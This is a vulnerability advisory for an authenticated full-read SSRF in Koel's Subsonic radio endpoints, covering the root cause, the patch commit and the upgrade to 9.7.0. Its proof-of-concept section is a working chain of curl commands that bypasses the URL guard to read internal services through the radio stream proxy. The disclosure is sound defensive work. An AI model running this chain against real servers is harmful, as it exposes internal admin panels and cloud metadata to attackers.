CVE-2026-54493: Koel Authenticated Full-Read SSRF via Subsonic Radio Endpoints
Koel's Subsonic-compatible radio endpoints skip the URL safety checks that protect the regular API, so an authenticated user can point a radio station at any internal address and read the server's…
The problem
Koel applies SafeUrl and HasAudioContentType validation to streamUrl on the main REST radio API (RadioStationStoreRequest, RadioStationUpdateRequest), but the equivalent Subsonic routes (createInternetRadioStation.view and updateInternetRadioStation.view) only require the field to be a non-empty string.
The gap means any authenticated user can persist a private or loopback URL as a radio station without triggering the SSRF guard.
When the station is played, RadioStreamProxy::openStream() calls fopen($url, 'r', ...) directly on the stored URL and pipes every chunk back to the client with fread. This is a full-read SSRF: the attacker receives the upstream response body through /radio/stream/{id}, making it suitable for reading internal admin panels, cloud metadata endpoints, or any RFC-1918 service reachable from the Koel container.
Proof of concept
A working proof-of-concept for CVE-2026-54493 in phanan/koel, with the exact payload below.
# Step 1: authenticate and get an API token
API_TOKEN=$(
curl -sS -X POST http://127.0.0.1:18081/api/me \
-H 'Content-Type: application/json' \
--data '{"email":"admin@koel.dev","password":"KoelIsCool"}' \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["token"])'
)
# Step 2: get the Subsonic API key
SUBSONIC_KEY=$(
curl -sS http://127.0.0.1:18081/api/data \
-H "Authorization: Bearer $API_TOKEN" \
| python3 -c 'import json,sys; print(json.load(sys.stdin)["current_user"]["subsonic_api_key"])'
)
# Step 3: target an internal URL (e.g. Docker bridge or loopback)
TARGET_URL="http://172.17.0.1:18090/feed.xml"
# Step 4: confirm the regular API blocks it (returns HTTP 422)
curl -i -X POST http://127.0.0.1:18081/api/radio/stations \
-H "Authorization: Bearer $API_TOKEN" \
-H 'Accept: application/json' \
-H 'Content-Type: application/json' \
--data "{\"name\":\"blocked\",\"url\":\"$TARGET_URL\"}"
# Step 5: bypass via the Subsonic endpoint (returns HTTP 200 + {"status":"ok"})
curl -i -G http://127.0.0.1:18081/rest/createInternetRadioStation.view \
--data-urlencode "apiKey=$SUBSONIC_KEY" \
--data-urlencode 'f=json' \
--data-urlencode 'name=xmlpeek' \
--data-urlencode "streamUrl=$TARGET_URL"
# Step 6: resolve the station ID and stream to read the internal response
STATION_ID=$(
curl -sS "http://127.0.0.1:18081/rest/getInternetRadioStations.view?apiKey=$SUBSONIC_KEY&f=json" \
| python3 -c 'import json,sys; items=json.load(sys.stdin)["subsonic-response"]["internetRadioStations"]["internetRadioStation"]; print(next(x["id"] for x in items if x["name"]=="xmlpeek"))'
)
curl -i "http://127.0.0.1:18081/radio/stream/$STATION_ID?api_token=$API_TOKEN"
# Response body contains the content of $TARGET_URLThe root cause is a validation inconsistency between two code paths that create the same model. The regular API request classes enforce new SafeUrl() (which resolves the hostname and rejects RFC-1918 and loopback IPs) and new HasAudioContentType(), while the Subsonic request classes only declared ['required', 'string'] for streamUrl, so neither check ever ran.
The patch (commit 1331f335) adds new SafeUrl() and new HasAudioContentType() to both CreateInternetRadioStationRequest and UpdateInternetRadioStationRequest, bringing them in line with their REST counterparts. A defense-in-depth change also adds a isSafeUrl() pre-flight inside RadioStreamProxy::openStream() so a stored malicious URL cannot be fetched even if it somehow bypasses the request validator.
CWE-918 (Server-Side Request Forgery) applies directly: user-supplied input reaches a server-side fopen() call without host validation, and the full response is returned to the requester.
The fix
Upgrade to Koel 9.7.0 (commit 1331f335342b405e60ffabdd60f1f398508f996f, PR #2545). The fix adds SafeUrl and HasAudioContentType validation to both Subsonic radio request classes and adds an isSafeUrl() guard inside RadioStreamProxy::openStream() as a second layer.
No workaround short of disabling the Subsonic API entirely is effective on 9.6.0.
Related research
- high · 7.7CVE-2026-59931CVE-2026-59931: PHPSpreadsheet SSRF Whitelist Bypass via HTTP Redirect in WEBSERVICE()
- critical · 9.9CVE-2026-45262CVE-2026-45262: FacturaScripts REST API SQL Injection via Parenthesis Bypass in Where::sqlColumn
- high · 7.2CVE-2026-55372CVE-2026-55372: NukeViet Pre-auth SSRF via X-Forwarded-Host
- high · 8.3CVE-2026-52769CVE-2026-52769: YesWiki Unauthenticated SSRF via ActivityPub Signature keyId